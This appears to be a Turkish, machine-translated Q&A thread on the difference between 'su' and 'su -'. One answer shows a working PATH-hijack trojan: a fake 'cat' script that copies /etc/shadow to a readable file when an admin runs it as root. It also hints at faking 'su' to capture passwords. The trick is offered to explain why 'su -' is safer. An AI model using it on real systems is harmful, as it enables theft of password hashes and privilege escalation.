Yanıtlar:
su -
kullanıcıyı değiştirdikten sonra bir giriş kabuğu çağırır. Giriş kabuğu, ortam değişkenlerinin çoğunu sıfırlayarak temiz bir temel sağlar.
su
sadece kullanıcıyı değiştirir, eski kullanıcı ile neredeyse aynı bir ortamla normal bir kabuk sağlar.
Bir makineye normal kullanıcı erişimi olan bir yazılım geliştirici olduğunuzu ve cahil yöneticinizin size kök erişimi sağlamayacağını hayal edin. Hadi (umarım) onu kandıralım.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Şimdi, yöneticinize niçin cat
ana klasördeki boş dosyayı bulamadığınızı sorun.
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Yöneticiniz o kadar akıllı veya biraz tembel değilse, masanıza gelip süper kullanıcı güçlerini deneyebilir:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Vaov! Teşekkürler, süper yönetici!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
O, o.
Bozuk $PATH
değişkenin sıfırlanmadığını belki farkettiniz . Yönetici su -
bunun yerine çağırdıysa, bu olmazdı .
umask
000 gibi ayarlamayı unutma yoksa işe yaramaz.
su
PATH içine bir dosya da koyabilir . Gerçek davranışını taklit etmek o kadar da zor değil su
. Süper kullanıcı zaten dikkatsiz olmuştur :-)
su --
aynı değildir su -
: --
bir getopt (lar) (ya da benzeri) seçenek işleyicisine komut satırını daha fazla seçenek için işlemeyi durdurmasını söyler (örneğin geri kalanı '-' ile başlayabilecek dosya isimleri içeriyorsa kullanışlıdır). Yani, içinde "rm-i - -f": -f sonra da, işte normal bir argüman olarak kabul edilir dosyanın adının için rm -i
ve olmayan bir additionnal olarak -f
seçeneği rm
komutu. Yani su --
sadece su
ve değil su -
! Yani su --
(komik ve öğretici) örneğe göre gaganın güvensiz olduğu kadar güvensiz olurdu. Kullanın su -
.
su -
sizi tamamen root olarak günlüğe kaydeder, oysa su
ki root gibi davranıyorsunuz.
Bunun en açık örneği ~
, kullanırsanız kökün ana dizinidir su -
, ancak kullanıyorsanız kendi ana dizininizdir su
.
Sisteminize bağlı olarak, bilgi istemi PATH
veya geçmiş dosyasındaki farklılıklar da olabilir .
Yani, sistemi yöneten bir ekibin parçasıysanız ve meslektaşınız size çalıştırma emri verirse, ikisini de kullanıyorsanız su -
, aynı şekilde çalışacağını biliyorsunuzdur , ancak ikisini de kullanıyorsanız su
, farklı kabuk konfigürasyonları.
Öte yandan, bir komutu root olarak çalıştırmak ancak kendi konfigürasyonunuzu kullanarak kullanmak istiyorsanız, belki su
sizin için daha iyidir.
Ayrıca , root olarak çalışan bir kabuğu başlatmak için sudo
bir -s
seçeneğe sahip olanları da unutmayın . Elbette, bunun da farklı kuralları var ve kullandığınız dağılıma bağlı olarak değişiyorlar.
.bashrc
veya /etc/bashrc
veya /etc/profile.d
komut dosyaları ayarlıyorsunuz PATH
. Bakın if [ $UID -eq 0 ]
ya da bunun gibi bir şey.
$USER
örneğin değişmeden kalır.
sudo su
?
Su kullanıyorum - normal bir kullanıcı olarak bir dizindeyken, ancak kökten geçmek ve değişimin ardından aynı dizinde kalmak istiyorum. Su kullandığınızda -, kullanıcıyı root'a çevirir ve ayrıca root home dizini olan / root'a yönlendirir.
/
da kökün ana dizini olarak tanımlanan şey
Ana fark:
su - username
Kabuk ortamını, belirtilen kullanıcı olarak temiz bir giriş yapmış gibi ayarlar, belirtilen kullanıcı ortam değişkenlerine erişir ve kullanır,
su username
sadece belirtilen kullanıcı için mevcut ortam ayarlarına sahip bir kabuk başlatır.
Kullanıcı adı su
ve ile belirtilmezse su -
, kök hesap varsayılan olarak belirtilir.
su --
aynıdırsu
.